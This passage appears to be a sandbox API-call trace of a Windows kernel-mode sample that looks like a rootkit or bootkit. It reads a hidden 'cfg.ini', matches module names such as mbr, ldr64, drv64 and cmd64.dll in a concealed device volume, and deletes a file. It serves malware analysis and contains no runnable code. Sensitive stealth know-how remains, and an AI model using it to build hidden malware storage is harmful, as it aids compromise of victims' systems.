[0127.401] KeLeaveCriticalRegion () [0127.401] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.401] ReleaseMutex (hMutex=0xf0) returned 1 [0127.401] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.401] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.401] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.401] KeEnterCriticalRegion () [0127.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.401] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.401] IdePortDispatch () returned 0x103 [0127.401] KeWaitForMutexObject () returned 0x0 [0127.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.402] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.402] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.402] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.402] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.402] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7390 [0127.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.402] KeLeaveCriticalRegion () [0127.402] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.402] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.402] KeEnterCriticalRegion () [0127.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.402] KeLeaveCriticalRegion () [0127.402] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.402] KeEnterCriticalRegion () [0127.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.402] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.402] IdePortDispatch () returned 0x103 [0127.402] KeWaitForMutexObject () returned 0x0 [0127.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.402] KeLeaveCriticalRegion () [0127.402] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.403] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.403] KeEnterCriticalRegion () [0127.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ba000 [0127.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.403] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.403] IdePortDispatch () returned 0x103 [0127.403] KeWaitForMutexObject () returned 0x0 [0127.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.403] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.403] IdePortDispatch () returned 0x103 [0127.403] KeWaitForMutexObject () returned 0x0 [0127.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.403] KeLeaveCriticalRegion () [0127.403] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.404] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.404] KeEnterCriticalRegion () [0127.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.404] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.404] KeLeaveCriticalRegion () [0127.404] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.404] KeEnterCriticalRegion () [0127.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.404] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.404] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.404] KeLeaveCriticalRegion () [0127.404] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.404] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.405] KeEnterCriticalRegion () [0127.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.405] ExFreePoolWithTag (P=0xfffffa800c4f7390, Tag=0x0) [0127.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.405] KeLeaveCriticalRegion () [0127.405] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.405] ReleaseMutex (hMutex=0xf0) returned 1 [0127.405] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.405] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.405] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.405] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.405] KeEnterCriticalRegion () [0127.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.405] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.405] IdePortDispatch () returned 0x103 [0127.405] KeWaitForMutexObject () returned 0x0 [0127.405] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.405] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.405] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.405] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.405] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.406] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.406] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.406] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.406] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.406] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.406] KeLeaveCriticalRegion () [0127.406] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.406] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.406] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.406] KeEnterCriticalRegion () [0127.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.406] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.406] IdePortDispatch () returned 0x103 [0127.406] KeWaitForMutexObject () returned 0x0 [0127.406] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.406] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.406] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.406] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.406] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.406] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.407] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.407] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.407] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.407] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.407] KeLeaveCriticalRegion () [0127.407] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.407] ReleaseMutex (hMutex=0x100) returned 1 [0127.407] Sleep (dwMilliseconds=0x2bf20) [0127.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f24f6d0, dwHighDateTime=0x1d24fa4)) [0127.416] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.416] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.416] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.416] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.416] KeEnterCriticalRegion () [0127.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.416] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.416] IdePortDispatch () returned 0x103 [0127.417] KeWaitForMutexObject () returned 0x0 [0127.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.417] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.417] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.417] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.417] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.417] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7010 [0127.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.417] KeLeaveCriticalRegion () [0127.417] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.417] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.417] KeEnterCriticalRegion () [0127.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.417] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.417] KeLeaveCriticalRegion () [0127.417] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.417] KeEnterCriticalRegion () [0127.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.417] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.417] IdePortDispatch () returned 0x103 [0127.417] KeWaitForMutexObject () returned 0x0 [0127.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.418] KeLeaveCriticalRegion () [0127.418] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.418] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.418] KeEnterCriticalRegion () [0127.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bd000 [0127.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.418] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.418] IdePortDispatch () returned 0x103 [0127.418] KeWaitForMutexObject () returned 0x0 [0127.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.418] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.418] IdePortDispatch () returned 0x103 [0127.419] KeWaitForMutexObject () returned 0x0 [0127.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.419] KeLeaveCriticalRegion () [0127.419] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.419] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.419] KeEnterCriticalRegion () [0127.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.420] KeLeaveCriticalRegion () [0127.420] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.420] KeEnterCriticalRegion () [0127.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.420] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.420] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.420] KeLeaveCriticalRegion () [0127.420] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.420] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.420] KeEnterCriticalRegion () [0127.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.420] ExFreePoolWithTag (P=0xfffffa800c4f7010, Tag=0x0) [0127.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.420] KeLeaveCriticalRegion () [0127.420] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.420] ReleaseMutex (hMutex=0xf0) returned 1 [0127.420] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.420] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.420] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.420] KeEnterCriticalRegion () [0127.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.420] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.420] IdePortDispatch () returned 0x103 [0127.420] KeWaitForMutexObject () returned 0x0 [0127.421] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.421] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.421] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.421] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.421] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.421] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e18f0 [0127.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.421] KeLeaveCriticalRegion () [0127.421] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.421] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.421] KeEnterCriticalRegion () [0127.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.421] KeLeaveCriticalRegion () [0127.421] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.421] KeEnterCriticalRegion () [0127.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.421] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.421] IdePortDispatch () returned 0x103 [0127.421] KeWaitForMutexObject () returned 0x0 [0127.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.422] KeLeaveCriticalRegion () [0127.422] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.422] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.422] KeEnterCriticalRegion () [0127.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.422] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035be000 [0127.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: 